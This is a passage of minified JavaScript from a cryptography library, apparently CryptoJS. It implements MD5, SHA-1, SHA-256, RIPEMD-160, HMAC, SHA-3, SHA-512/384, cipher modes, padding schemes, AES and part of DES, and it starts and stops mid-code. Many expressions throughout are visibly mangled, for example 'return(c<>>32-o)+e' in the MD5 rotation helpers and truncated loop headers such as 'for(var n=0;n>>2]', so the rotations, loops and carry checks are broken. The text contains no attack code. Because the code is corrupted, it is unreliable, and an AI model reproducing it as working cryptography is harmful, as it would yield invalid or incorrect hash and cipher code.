o=this._hash.words,c=t[e+0],d=t[e+1],u=t[e+2],p=t[e+3],_=t[e+4],v=t[e+5],y=t[e+6],g=t[e+7],B=t[e+8],w=t[e+9],k=t[e+10],S=t[e+11],m=t[e+12],x=t[e+13],b=t[e+14],H=t[e+15],z=o[0],A=o[1],C=o[2],D=o[3];z=f(z=l(z=l(z=l(z=l(z=h(z=h(z=h(z=h(z=a(z=a(z=a(z=a(z,A,C,D,c,7,s[0]),A=a(A,C=a(C,D=a(D,z,A,C,d,12,s[1]),z,A,u,17,s[2]),D,z,p,22,s[3]),C,D,_,7,s[4]),A=a(A,C=a(C,D=a(D,z,A,C,v,12,s[5]),z,A,y,17,s[6]),D,z,g,22,s[7]),C,D,B,7,s[8]),A=a(A,C=a(C,D=a(D,z,A,C,w,12,s[9]),z,A,k,17,s[10]),D,z,S,22,s[11]),C,D,m,7,s[12]),A=a(A,C=a(C,D=a(D,z,A,C,x,12,s[13]),z,A,b,17,s[14]),D,z,H,22,s[15]),C,D,d,5,s[16]),A=h(A,C=h(C,D=h(D,z,A,C,y,9,s[17]),z,A,S,14,s[18]),D,z,c,20,s[19]),C,D,v,5,s[20]),A=h(A,C=h(C,D=h(D,z,A,C,k,9,s[21]),z,A,H,14,s[22]),D,z,_,20,s[23]),C,D,w,5,s[24]),A=h(A,C=h(C,D=h(D,z,A,C,b,9,s[25]),z,A,p,14,s[26]),D,z,B,20,s[27]),C,D,x,5,s[28]),A=h(A,C=h(C,D=h(D,z,A,C,u,9,s[29]),z,A,g,14,s[30]),D,z,m,20,s[31]),C,D,v,4,s[32]),A=l(A,C=l(C,D=l(D,z,A,C,B,11,s[33]),z,A,S,16,s[34]),D,z,b,23,s[35]),C,D,d,4,s[36]),A=l(A,C=l(C,D=l(D,z,A,C,_,11,s[37]),z,A,g,16,s[38]),D,z,k,23,s[39]),C,D,x,4,s[40]),A=l(A,C=l(C,D=l(D,z,A,C,c,11,s[41]),z,A,p,16,s[42]),D,z,y,23,s[43]),C,D,w,4,s[44]),A=l(A,C=l(C,D=l(D,z,A,C,m,11,s[45]),z,A,H,16,s[46]),D,z,u,23,s[47]),C,D,c,6,s[48]),A=f(A=f(A=f(A=f(A,C=f(C,D=f(D,z,A,C,g,10,s[49]),z,A,b,15,s[50]),D,z,v,21,s[51]),C=f(C,D=f(D,z=f(z,A,C,D,m,6,s[52]),A,C,p,10,s[53]),z,A,k,15,s[54]),D,z,d,21,s[55]),C=f(C,D=f(D,z=f(z,A,C,D,B,6,s[56]),A,C,H,10,s[57]),z,A,y,15,s[58]),D,z,x,21,s[59]),C=f(C,D=f(D,z=f(z,A,C,D,_,6,s[60]),A,C,S,10,s[61]),z,A,u,15,s[62]),D,z,w,21,s[63]),o[0]=o[0]+z|0,o[1]=o[1]+A|0,o[2]=o[2]+C|0,o[3]=o[3]+D|0},_doFinalize:function(){var e=this._data,r=e.words,i=8*this._nDataBytes,n=8*e.sigBytes;r[n>>>5]|=128<<24-n%32;var o=t.floor(i/4294967296),s=i;r[15+(64+n>>>9<<4)]=16711935&(o<<8|o>>>24)|4278255360&(o<<24|o>>>8),r[14+(64+n>>>9<<4)]=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),e.sigBytes=4*(r.length+1),this._process();for(var c=this._hash,a=c.words,h=0;h<4;h++){var l=a[h];a[h]=16711935&(l<<8|l>>>24)|4278255360&(l<<24|l>>>8)}return c},clone:function(){var t=n.clone.call(this);return t._hash=this._hash.clone(),t}});function a(t,e,r,i,n,o,s){var c=t+(e&r|~e&i)+n+s;return(c<>>32-o)+e}function h(t,e,r,i,n,o,s){var c=t+(e&i|r&~i)+n+s;return(c<>>32-o)+e}function l(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s;return(c<>>32-o)+e}function f(t,e,r,i,n,o,s){var c=t+(r^(e|~i))+n+s;return(c<>>32-o)+e}e.MD5=n._createHelper(c),e.HmacMD5=n._createHmacHelper(c)}(Math),r=(e=mt).lib,i=r.WordArray,n=r.Hasher,o=e.algo,s=[],c=o.SHA1=n.extend({_doReset:function(){this._hash=new i.init([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],c=r[3],a=r[4],h=0;h<80;h++){if(h<16)s[h]=0|t[e+h];else{var l=s[h-3]^s[h-8]^s[h-14]^s[h-16];s[h]=l<<1|l>>>31}var f=(i<<5|i>>>27)+a+s[h];f+=h<20?1518500249+(n&o|~n&c):h<40?1859775393+(n^o^c):h<60?(n&o|n&c|o&c)-1894007588:(n^o^c)-899497514,a=c,c=o,o=n<<30|n>>>2,n=i,i=f}r[0]=r[0]+i|0,r[1]=r[1]+n|0,r[2]=r[2]+o|0,r[3]=r[3]+c|0,r[4]=r[4]+a|0},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;return e[i>>>5]|=128<<24-i%32,e[14+(64+i>>>9<<4)]=Math.floor(r/4294967296),e[15+(64+i>>>9<<4)]=r,t.sigBytes=4*e.length,this._process(),this._hash},clone:function(){var t=n.clone.call(this);return t._hash=this._hash.clone(),t}}),e.SHA1=n._createHelper(c),e.HmacSHA1=n._createHmacHelper(c),function(t){var e=mt,r=e.lib,i=r.WordArray,n=r.Hasher,o=e.algo,s=[],c=[];!function(){function e(e){for(var r=t.sqrt(e),i=2;i<=r;i++)if(!(e%i))return;return 1}function r(t){return 4294967296*(t-(0|t))|0}for(var i=2,n=0;n<64;)e(i)&&(n<8&&(s[n]=r(t.pow(i,.5))),c[n]=r(t.pow(i,1/3)),n++),i++}();var a=[],h=o.SHA256=n.extend({_doReset:function(){this._hash=new i.init(s.slice(0))},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],s=r[3],h=r[4],l=r[5],f=r[6],d=r[7],u=0;u<64;u++){if(u<16)a[u]=0|t[e+u];else{var p=a[u-15],_=(p<<25|p>>>7)^(p<<14|p>>>18)^p>>>3,v=a[u-2],y=(v<<15|v>>>17)^(v<<13|v>>>19)^v>>>10;a[u]=_+a[u-7]+y+a[u-16]}var g=i&n^i&o^n&o,B=(i<<30|i>>>2)^(i<<19|i>>>13)^(i<<10|i>>>22),w=d+((h<<26|h>>>6)^(h<<21|h>>>11)^(h<<7|h>>>25))+(h&l^~h&f)+c[u]+a[u];d=f,f=l,l=h,h=s+w|0,s=o,o=n,n=i,i=w+(B+g)|0}r[0]=r[0]+i|0,r[1]=r[1]+n|0,r[2]=r[2]+o|0,r[3]=r[3]+s|0,r[4]=r[4]+h|0,r[5]=r[5]+l|0,r[6]=r[6]+f|0,r[7]=r[7]+d|0},_doFinalize:function(){var e=this._data,r=e.words,i=8*this._nDataBytes,n=8*e.sigBytes;return r[n>>>5]|=128<<24-n%32,r[14+(64+n>>>9<<4)]=t.floor(i/4294967296),r[15+(64+n>>>9<<4)]=i,e.sigBytes=4*r.length,this._process(),this._hash},clone:function(){var t=n.clone.call(this);return t._hash=this._hash.clone(),t}});e.SHA256=n._createHelper(h),e.HmacSHA256=n._createHmacHelper(h)}(Math),function(){var t=mt.lib.WordArray,e=mt.enc;function r(t){return t<<8&4278255360|t>>>8&16711935}e.Utf16=e.Utf16BE={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n>>2]>>>16-n%4*8&65535;i.push(String.fromCharCode(o))}return i.join("")},parse:function(e){for(var r=e.length,i=[],n=0;n>>1]|=e.charCodeAt(n)<<16-n%2*16;return t.create(i,2*r)}},e.Utf16LE={stringify:function(t){for(var e=t.words,i=t.sigBytes,n=[],o=0;o>>2]>>>16-o%4*8&65535);n.push(String.fromCharCode(s))}return n.join("")},parse:function(e){for(var i=e.length,n=[],o=0;o>>1]|=r(e.charCodeAt(o)<<16-o%2*16);return t.create(n,2*i)}}}(),function(){if("function"==typeof ArrayBuffer){var t=mt.lib.WordArray,e=t.init;(t.init=function(t){if(t instanceof ArrayBuffer&&(t=new Uint8Array(t)),(t instanceof Int8Array||"undefined"!=typeof Uint8ClampedArray&&t instanceof Uint8ClampedArray||t instanceof Int16Array||t instanceof Uint16Array||t instanceof Int32Array||t instanceof Uint32Array||t instanceof Float32Array||t instanceof Float64Array)&&(t=new Uint8Array(t.buffer,t.byteOffset,t.byteLength)),t instanceof Uint8Array){for(var r=t.byteLength,i=[],n=0;n>>2]|=t[n]<<24-n%4*8;e.call(this,i,r)}else e.apply(this,arguments)}).prototype=t}}(),Math,h=(a=mt).lib,l=h.WordArray,f=h.Hasher,d=a.algo,u=l.create([0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,7,4,13,1,10,6,15,3,12,0,9,5,2,14,11,8,3,10,14,4,9,15,8,1,2,7,0,6,13,11,5,12,1,9,11,10,0,8,12,4,13,3,7,15,14,5,6,2,4,0,5,9,7,12,2,10,14,1,3,8,11,6,15,13]),p=l.create([5,14,7,0,9,2,11,4,13,6,15,8,1,10,3,12,6,11,3,7,0,13,5,10,14,15,8,12,4,9,1,2,15,5,1,3,7,14,6,9,11,8,12,2,10,0,4,13,8,6,4,1,3,11,15,0,5,12,2,13,9,7,10,14,12,15,10,4,1,5,8,7,6,2,13,14,0,3,9,11]),_=l.create([11,14,15,12,5,8,7,9,11,13,14,15,6,7,9,8,7,6,8,13,11,9,7,15,7,12,15,9,11,7,13,12,11,13,6,7,14,9,13,15,14,8,13,6,5,12,7,5,11,12,14,15,14,15,9,8,9,14,5,6,8,6,5,12,9,15,5,11,6,8,13,12,5,12,13,14,11,8,5,6]),v=l.create([8,9,9,11,13,15,15,5,7,7,8,11,14,14,12,6,9,13,15,7,12,8,9,11,7,7,12,7,6,15,13,11,9,7,15,11,8,6,6,14,12,13,5,14,13,13,7,5,15,5,8,11,14,14,6,14,6,9,12,9,12,5,15,8,8,5,12,9,12,5,14,6,8,13,6,5,15,13,11,11]),y=l.create([0,1518500249,1859775393,2400959708,2840853838]),g=l.create([1352829926,1548603684,1836072691,2053994217,0]),B=d.RIPEMD160=f.extend({_doReset:function(){this._hash=l.create([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8|n>>>24)|4278255360&(n<<24|n>>>8)}var o,s,c,a,h,l,f,d,B,w,k,S=this._hash.words,m=y.words,x=g.words,b=u.words,H=p.words,z=_.words,A=v.words;for(l=o=S[0],f=s=S[1],d=c=S[2],B=a=S[3],w=h=S[4],r=0;r<80;r+=1)k=o+t[e+b[r]]|0,k+=r<16?xt(s,c,a)+m[0]:r<32?bt(s,c,a)+m[1]:r<48?Ht(s,c,a)+m[2]:r<64?zt(s,c,a)+m[3]:At(s,c,a)+m[4],k=(k=Ct(k|=0,z[r]))+h|0,o=h,h=a,a=Ct(c,10),c=s,s=k,k=l+t[e+H[r]]|0,k+=r<16?At(f,d,B)+x[0]:r<32?zt(f,d,B)+x[1]:r<48?Ht(f,d,B)+x[2]:r<64?bt(f,d,B)+x[3]:xt(f,d,B)+x[4],k=(k=Ct(k|=0,A[r]))+w|0,l=w,w=B,B=Ct(d,10),d=f,f=k;k=S[1]+c+B|0,S[1]=S[2]+a+w|0,S[2]=S[3]+h+l|0,S[3]=S[4]+o+f|0,S[4]=S[0]+s+d|0,S[0]=k},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;e[i>>>5]|=128<<24-i%32,e[14+(64+i>>>9<<4)]=16711935&(r<<8|r>>>24)|4278255360&(r<<24|r>>>8),t.sigBytes=4*(e.length+1),this._process();for(var n=this._hash,o=n.words,s=0;s<5;s++){var c=o[s];o[s]=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8)}return n},clone:function(){var t=f.clone.call(this);return t._hash=this._hash.clone(),t}}),a.RIPEMD160=f._createHelper(B),a.HmacRIPEMD160=f._createHmacHelper(B),w=mt.lib.Base,k=mt.enc.Utf8,mt.algo.HMAC=w.extend({init:function(t,e){t=this._hasher=new t.init,"string"==typeof e&&(e=k.parse(e));var r=t.blockSize,i=4*r;e.sigBytes>i&&(e=t.finalize(e)),e.clamp();for(var n=this._oKey=e.clone(),o=this._iKey=e.clone(),s=n.words,c=o.words,a=0;a>>24)|4278255360&(o<<24|o>>>8),s=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),(A=r[n]).high^=s,A.low^=o}for(var f=0;f<24;f++){for(var d=0;d<5;d++){for(var u=0,p=0,_=0;_<5;_++)u^=(A=r[d+5*_]).high,p^=A.low;var v=l[d];v.high=u,v.low=p}for(d=0;d<5;d++){var y=l[(d+4)%5],g=l[(d+1)%5],B=g.high,w=g.low;for(u=y.high^(B<<1|w>>>31),p=y.low^(w<<1|B>>>31),_=0;_<5;_++)(A=r[d+5*_]).high^=u,A.low^=p}for(var k=1;k<25;k++){var S=(A=r[k]).high,m=A.low,x=c[k];p=x<32?(u=S<>>32-x,m<>>32-x):(u=m<>>64-x,S<>>64-x);var b=l[a[k]];b.high=u,b.low=p}var H=l[0],z=r[0];for(H.high=z.high,H.low=z.low,d=0;d<5;d++)for(_=0;_<5;_++){var A=r[k=d+5*_],C=l[k],D=l[(d+1)%5+5*_],E=l[(d+2)%5+5*_];A.high=C.high^~D.high&E.high,A.low=C.low^~D.low&E.low}A=r[0];var R=h[f];A.high^=R.high,A.low^=R.low}},_doFinalize:function(){var e=this._data,r=e.words,n=(this._nDataBytes,8*e.sigBytes),o=32*this.blockSize;r[n>>>5]|=1<<24-n%32,r[(t.ceil((1+n)/o)*o>>>5)-1]|=128,e.sigBytes=4*r.length,this._process();for(var s=this._state,c=this.cfg.outputLength/8,a=c/8,h=[],l=0;l>>24)|4278255360&(d<<24|d>>>8),u=16711935&(u<<8|u>>>24)|4278255360&(u<<24|u>>>8),h.push(u),h.push(d)}return new i.init(h,c)},clone:function(){for(var t=n.clone.call(this),e=t._state=this._state.slice(0),r=0;r<25;r++)e[r]=e[r].clone();return t}});e.SHA3=n._createHelper(f),e.HmacSHA3=n._createHmacHelper(f)}(Math),function(){var t=mt,e=t.lib.Hasher,r=t.x64,i=r.Word,n=r.WordArray,o=t.algo;function s(){return i.create.apply(i,arguments)}var c=[s(1116352408,3609767458),s(1899447441,602891725),s(3049323471,3964484399),s(3921009573,2173295548),s(961987163,4081628472),s(1508970993,3053834265),s(2453635748,2937671579),s(2870763221,3664609560),s(3624381080,2734883394),s(310598401,1164996542),s(607225278,1323610764),s(1426881987,3590304994),s(1925078388,4068182383),s(2162078206,991336113),s(2614888103,633803317),s(3248222580,3479774868),s(3835390401,2666613458),s(4022224774,944711139),s(264347078,2341262773),s(604807628,2007800933),s(770255983,1495990901),s(1249150122,1856431235),s(1555081692,3175218132),s(1996064986,2198950837),s(2554220882,3999719339),s(2821834349,766784016),s(2952996808,2566594879),s(3210313671,3203337956),s(3336571891,1034457026),s(3584528711,2466948901),s(113926993,3758326383),s(338241895,168717936),s(666307205,1188179964),s(773529912,1546045734),s(1294757372,1522805485),s(1396182291,2643833823),s(1695183700,2343527390),s(1986661051,1014477480),s(2177026350,1206759142),s(2456956037,344077627),s(2730485921,1290863460),s(2820302411,3158454273),s(3259730800,3505952657),s(3345764771,106217008),s(3516065817,3606008344),s(3600352804,1432725776),s(4094571909,1467031594),s(275423344,851169720),s(430227734,3100823752),s(506948616,1363258195),s(659060556,3750685593),s(883997877,3785050280),s(958139571,3318307427),s(1322822218,3812723403),s(1537002063,2003034995),s(1747873779,3602036899),s(1955562222,1575990012),s(2024104815,1125592928),s(2227730452,2716904306),s(2361852424,442776044),s(2428436474,593698344),s(2756734187,3733110249),s(3204031479,2999351573),s(3329325298,3815920427),s(3391569614,3928383900),s(3515267271,566280711),s(3940187606,3454069534),s(4118630271,4000239992),s(116418474,1914138554),s(174292421,2731055270),s(289380356,3203993006),s(460393269,320620315),s(685471733,587496836),s(852142971,1086792851),s(1017036298,365543100),s(1126000580,2618297676),s(1288033470,3409855158),s(1501505948,4234509866),s(1607167915,987167468),s(1816402316,1246189591)],a=[];!function(){for(var t=0;t<80;t++)a[t]=s()}();var h=o.SHA512=e.extend({_doReset:function(){this._hash=new n.init([new i.init(1779033703,4089235720),new i.init(3144134277,2227873595),new i.init(1013904242,4271175723),new i.init(2773480762,1595750129),new i.init(1359893119,2917565137),new i.init(2600822924,725511199),new i.init(528734635,4215389547),new i.init(1541459225,327033209)])},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],s=r[3],h=r[4],l=r[5],f=r[6],d=r[7],u=i.high,p=i.low,_=n.high,v=n.low,y=o.high,g=o.low,B=s.high,w=s.low,k=h.high,S=h.low,m=l.high,x=l.low,b=f.high,H=f.low,z=d.high,A=d.low,C=u,D=p,E=_,R=v,M=y,F=g,P=B,W=w,O=k,I=S,U=m,K=x,X=b,L=H,j=z,N=A,T=0;T<80;T++){var q,Z,V=a[T];if(T<16)Z=V.high=0|t[e+2*T],q=V.low=0|t[e+2*T+1];else{var G=a[T-15],J=G.high,$=G.low,Q=(J>>>1|$<<31)^(J>>>8|$<<24)^J>>>7,Y=($>>>1|J<<31)^($>>>8|J<<24)^($>>>7|J<<25),tt=a[T-2],et=tt.high,rt=tt.low,it=(et>>>19|rt<<13)^(et<<3|rt>>>29)^et>>>6,nt=(rt>>>19|et<<13)^(rt<<3|et>>>29)^(rt>>>6|et<<26),ot=a[T-7],st=ot.high,ct=ot.low,at=a[T-16],ht=at.high,lt=at.low;Z=(Z=(Z=Q+st+((q=Y+ct)>>>0>>0?1:0))+it+((q+=nt)>>>0>>0?1:0))+ht+((q+=lt)>>>0>>0?1:0),V.high=Z,V.low=q}var ft,dt=O&U^~O&X,ut=I&K^~I&L,pt=C&E^C&M^E&M,_t=D&R^D&F^R&F,vt=(C>>>28|D<<4)^(C<<30|D>>>2)^(C<<25|D>>>7),yt=(D>>>28|C<<4)^(D<<30|C>>>2)^(D<<25|C>>>7),gt=(O>>>14|I<<18)^(O>>>18|I<<14)^(O<<23|I>>>9),Bt=(I>>>14|O<<18)^(I>>>18|O<<14)^(I<<23|O>>>9),wt=c[T],kt=wt.high,St=wt.low,mt=j+gt+((ft=N+Bt)>>>0>>0?1:0),xt=yt+_t;j=X,N=L,X=U,L=K,U=O,K=I,O=P+(mt=(mt=(mt=mt+dt+((ft+=ut)>>>0>>0?1:0))+kt+((ft+=St)>>>0>>0?1:0))+Z+((ft+=q)>>>0>>0?1:0))+((I=W+ft|0)>>>0>>0?1:0)|0,P=M,W=F,M=E,F=R,E=C,R=D,C=mt+(vt+pt+(xt>>>0>>0?1:0))+((D=ft+xt|0)>>>0>>0?1:0)|0}p=i.low=p+D,i.high=u+C+(p>>>0>>0?1:0),v=n.low=v+R,n.high=_+E+(v>>>0>>0?1:0),g=o.low=g+F,o.high=y+M+(g>>>0>>0?1:0),w=s.low=w+W,s.high=B+P+(w>>>0>>0?1:0),S=h.low=S+I,h.high=k+O+(S>>>0>>0?1:0),x=l.low=x+K,l.high=m+U+(x>>>0>>0?1:0),H=f.low=H+L,f.high=b+X+(H>>>0>>0?1:0),A=d.low=A+N,d.high=z+j+(A>>>0>>0?1:0)},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;return e[i>>>5]|=128<<24-i%32,e[30+(128+i>>>10<<5)]=Math.floor(r/4294967296),e[31+(128+i>>>10<<5)]=r,t.sigBytes=4*e.length,this._process(),this._hash.toX32()},clone:function(){var t=e.clone.call(this);return t._hash=this._hash.clone(),t},blockSize:32});t.SHA512=e._createHelper(h),t.HmacSHA512=e._createHmacHelper(h)}(),Z=(q=mt).x64,V=Z.Word,G=Z.WordArray,J=q.algo,$=J.SHA512,Q=J.SHA384=$.extend({_doReset:function(){this._hash=new G.init([new V.init(3418070365,3238371032),new V.init(1654270250,914150663),new V.init(2438529370,812702999),new V.init(355462360,4144912697),new V.init(1731405415,4290775857),new V.init(2394180231,1750603025),new V.init(3675008525,1694076839),new V.init(1203062813,3204075428)])},_doFinalize:function(){var t=$._doFinalize.call(this);return t.sigBytes-=16,t}}),q.SHA384=$._createHelper(Q),q.HmacSHA384=$._createHmacHelper(Q),mt.lib.Cipher||function(){var t=mt,e=t.lib,r=e.Base,i=e.WordArray,n=e.BufferedBlockAlgorithm,o=t.enc,s=(o.Utf8,o.Base64),c=t.algo.EvpKDF,a=e.Cipher=n.extend({cfg:r.extend(),createEncryptor:function(t,e){return this.create(this._ENC_XFORM_MODE,t,e)},createDecryptor:function(t,e){return this.create(this._DEC_XFORM_MODE,t,e)},init:function(t,e,r){this.cfg=this.cfg.extend(r),this._xformMode=t,this._key=e,this.reset()},reset:function(){n.reset.call(this),this._doReset()},process:function(t){return this._append(t),this._process()},finalize:function(t){return t&&this._append(t),this._doFinalize()},keySize:4,ivSize:4,_ENC_XFORM_MODE:1,_DEC_XFORM_MODE:2,_createHelper:function(t){return{encrypt:function(e,r,i){return h(r).encrypt(t,e,r,i)},decrypt:function(e,r,i){return h(r).decrypt(t,e,r,i)}}}});function h(t){return"string"==typeof t?w:g}e.StreamCipher=a.extend({_doFinalize:function(){return this._process(!0)},blockSize:1});var l,f=t.mode={},d=e.BlockCipherMode=r.extend({createEncryptor:function(t,e){return this.Encryptor.create(t,e)},createDecryptor:function(t,e){return this.Decryptor.create(t,e)},init:function(t,e){this._cipher=t,this._iv=e}}),u=f.CBC=((l=d.extend()).Encryptor=l.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize;p.call(this,t,e,i),r.encryptBlock(t,e),this._prevBlock=t.slice(e,e+i)}}),l.Decryptor=l.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=t.slice(e,e+i);r.decryptBlock(t,e),p.call(this,t,e,i),this._prevBlock=n}}),l);function p(t,e,r){var i,n=this._iv;n?(i=n,this._iv=void 0):i=this._prevBlock;for(var o=0;o>>2];t.sigBytes-=e}},v=(e.BlockCipher=a.extend({cfg:a.cfg.extend({mode:u,padding:_}),reset:function(){var t;a.reset.call(this);var e=this.cfg,r=e.iv,i=e.mode;this._xformMode==this._ENC_XFORM_MODE?t=i.createEncryptor:(t=i.createDecryptor,this._minBufferSize=1),this._mode&&this._mode.__creator==t?this._mode.init(this,r&&r.words):(this._mode=t.call(i,this,r&&r.words),this._mode.__creator=t)},_doProcessBlock:function(t,e){this._mode.processBlock(t,e)},_doFinalize:function(){var t,e=this.cfg.padding;return this._xformMode==this._ENC_XFORM_MODE?(e.pad(this._data,this.blockSize),t=this._process(!0)):(t=this._process(!0),e.unpad(t)),t},blockSize:4}),e.CipherParams=r.extend({init:function(t){this.mixIn(t)},toString:function(t){return(t||this.formatter).stringify(this)}})),y=(t.format={}).OpenSSL={stringify:function(t){var e=t.ciphertext,r=t.salt;return(r?i.create([1398893684,1701076831]).concat(r).concat(e):e).toString(s)},parse:function(t){var e,r=s.parse(t),n=r.words;return 1398893684==n[0]&&1701076831==n[1]&&(e=i.create(n.slice(2,4)),n.splice(0,4),r.sigBytes-=16),v.create({ciphertext:r,salt:e})}},g=e.SerializableCipher=r.extend({cfg:r.extend({format:y}),encrypt:function(t,e,r,i){i=this.cfg.extend(i);var n=t.createEncryptor(r,i),o=n.finalize(e),s=n.cfg;return v.create({ciphertext:o,key:r,iv:s.iv,algorithm:t,mode:s.mode,padding:s.padding,blockSize:t.blockSize,formatter:i.format})},decrypt:function(t,e,r,i){return i=this.cfg.extend(i),e=this._parse(e,i.format),t.createDecryptor(r,i).finalize(e.ciphertext)},_parse:function(t,e){return"string"==typeof t?e.parse(t,this):t}}),B=(t.kdf={}).OpenSSL={execute:function(t,e,r,n){n=n||i.random(8);var o=c.create({keySize:e+r}).compute(t,n),s=i.create(o.words.slice(e),4*r);return o.sigBytes=4*e,v.create({key:o,iv:s,salt:n})}},w=e.PasswordBasedCipher=g.extend({cfg:g.cfg.extend({kdf:B}),encrypt:function(t,e,r,i){var n=(i=this.cfg.extend(i)).kdf.execute(r,t.keySize,t.ivSize);i.iv=n.iv;var o=g.encrypt.call(this,t,e,n.key,i);return o.mixIn(n),o},decrypt:function(t,e,r,i){i=this.cfg.extend(i),e=this._parse(e,i.format);var n=i.kdf.execute(r,t.keySize,t.ivSize,e.salt);return i.iv=n.iv,g.decrypt.call(this,t,e,n.key,i)}})}(),mt.mode.CFB=((Y=mt.lib.BlockCipherMode.extend()).Encryptor=Y.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize;Dt.call(this,t,e,i,r),this._prevBlock=t.slice(e,e+i)}}),Y.Decryptor=Y.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=t.slice(e,e+i);Dt.call(this,t,e,i,r),this._prevBlock=n}}),Y),mt.mode.ECB=((tt=mt.lib.BlockCipherMode.extend()).Encryptor=tt.extend({processBlock:function(t,e){this._cipher.encryptBlock(t,e)}}),tt.Decryptor=tt.extend({processBlock:function(t,e){this._cipher.decryptBlock(t,e)}}),tt),mt.pad.AnsiX923={pad:function(t,e){var r=t.sigBytes,i=4*e,n=i-r%i,o=r+n-1;t.clamp(),t.words[o>>>2]|=n<<24-o%4*8,t.sigBytes+=n},unpad:function(t){var e=255&t.words[t.sigBytes-1>>>2];t.sigBytes-=e}},mt.pad.Iso10126={pad:function(t,e){var r=4*e,i=r-t.sigBytes%r;t.concat(mt.lib.WordArray.random(i-1)).concat(mt.lib.WordArray.create([i<<24],1))},unpad:function(t){var e=255&t.words[t.sigBytes-1>>>2];t.sigBytes-=e}},mt.pad.Iso97971={pad:function(t,e){t.concat(mt.lib.WordArray.create([2147483648],1)),mt.pad.ZeroPadding.pad(t,e)},unpad:function(t){mt.pad.ZeroPadding.unpad(t),t.sigBytes--}},mt.mode.OFB=(rt=(et=mt.lib.BlockCipherMode.extend()).Encryptor=et.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=this._iv,o=this._keystream;n&&(o=this._keystream=n.slice(0),this._iv=void 0),r.encryptBlock(o,0);for(var s=0;s>>8^255&p^99,i[r]=p;var _=t[n[p]=r],v=t[_],y=t[v],g=257*t[p]^16843008*p;o[r]=g<<24|g>>>8,s[r]=g<<16|g>>>16,c[r]=g<<8|g>>>24,a[r]=g,g=16843009*y^65537*v^257*_^16843008*r,h[p]=g<<24|g>>>8,l[p]=g<<16|g>>>16,f[p]=g<<8|g>>>24,d[p]=g,r?(r=_^t[t[t[y^_]]],u^=t[t[u]]):r=u=1}}();var u=[0,1,2,4,8,16,32,64,128,27,54],p=r.AES=e.extend({_doReset:function(){if(!this._nRounds||this._keyPriorReset!==this._key){for(var t=this._keyPriorReset=this._key,e=t.words,r=t.sigBytes/4,n=4*(1+(this._nRounds=6+r)),o=this._keySchedule=[],s=0;s>>24]<<24|i[p>>>16&255]<<16|i[p>>>8&255]<<8|i[255&p]):(p=i[(p=p<<8|p>>>24)>>>24]<<24|i[p>>>16&255]<<16|i[p>>>8&255]<<8|i[255&p],p^=u[s/r|0]<<24),o[s]=o[s-r]^p);for(var c=this._invKeySchedule=[],a=0;a>>24]]^l[i[p>>>16&255]]^f[i[p>>>8&255]]^d[i[255&p]]}}},encryptBlock:function(t,e){this._doCryptBlock(t,e,this._keySchedule,o,s,c,a,i)},decryptBlock:function(t,e){var r=t[e+1];t[e+1]=t[e+3],t[e+3]=r,this._doCryptBlock(t,e,this._invKeySchedule,h,l,f,d,n),r=t[e+1],t[e+1]=t[e+3],t[e+3]=r},_doCryptBlock:function(t,e,r,i,n,o,s,c){for(var a=this._nRounds,h=t[e]^r[0],l=t[e+1]^r[1],f=t[e+2]^r[2],d=t[e+3]^r[3],u=4,p=1;p>>24]^n[l>>>16&255]^o[f>>>8&255]^s[255&d]^r[u++],v=i[l>>>24]^n[f>>>16&255]^o[d>>>8&255]^s[255&h]^r[u++],y=i[f>>>24]^n[d>>>16&255]^o[h>>>8&255]^s[255&l]^r[u++],g=i[d>>>24]^n[h>>>16&255]^o[l>>>8&255]^s[255&f]^r[u++];h=_,l=v,f=y,d=g}_=(c[h>>>24]<<24|c[l>>>16&255]<<16|c[f>>>8&255]<<8|c[255&d])^r[u++],v=(c[l>>>24]<<24|c[f>>>16&255]<<16|c[d>>>8&255]<<8|c[255&h])^r[u++],y=(c[f>>>24]<<24|c[d>>>16&255]<<16|c[h>>>8&255]<<8|c[255&l])^r[u++],g=(c[d>>>24]<<24|c[h>>>16&255]<<16|c[l>>>8&255]<<8|c[255&f])^r[u++],t[e]=_,t[e+1]=v,t[e+2]=y,t[e+3]=g},keySize:8});t.AES=e._createHelper(p)}(),function(){var t=mt,e=t.lib,r=e.WordArray,i=e.BlockCipher,n=t.algo,o=[57,49,41,33,25,17,9,1,58,50,42,34,26,18,10,2,59,51,43,35,27,19,11,3,60,52,44,36,63,55,47,39,31,23,15,7,62,54,46,38,30,22,14,6,61,53,45,37,29,21,13,5,28,20,12,4],s=[14,17,11,24,1,5,3,28,15,6,21,10,23,19,12,4,26,8,16,7,27,20,13,2,41,52,31,37,47,55,30,40,51,45,33,48,44,49,39,56,34,53,46,42,50,36,29,32],c=[1,2,4,6,8,10,12,14,15,17,19,21,23,25,27,28],a=[{0:8421888,268435456:32768,536870912:8421378,805306368:2,1073741824:512,1342177280:8421890,1610612736:8389122,1879048192:8388608,2147483648:514,2415919104:8389120,2684354560:33280,2952790016:8421376,3221225472:32770,3489660928:8388610,3758096384:0,4026531840:33282,134217728:0,402653184:8421890,671088640:33282,939524096:32768,1207959552:8421888,1476395008:512,1744830464:8421378,2013265920:2,2281701376:8389120,2550136832:33280,2818572288:8421376,3087007744:8389122,3355443200:8388610,3623878656:32770,3892314112:514,4160749568:8388608,1:32768,268435457:2,536870913:8421888,805306369:8388608,1073741825:8421378,1342177281:33280,1610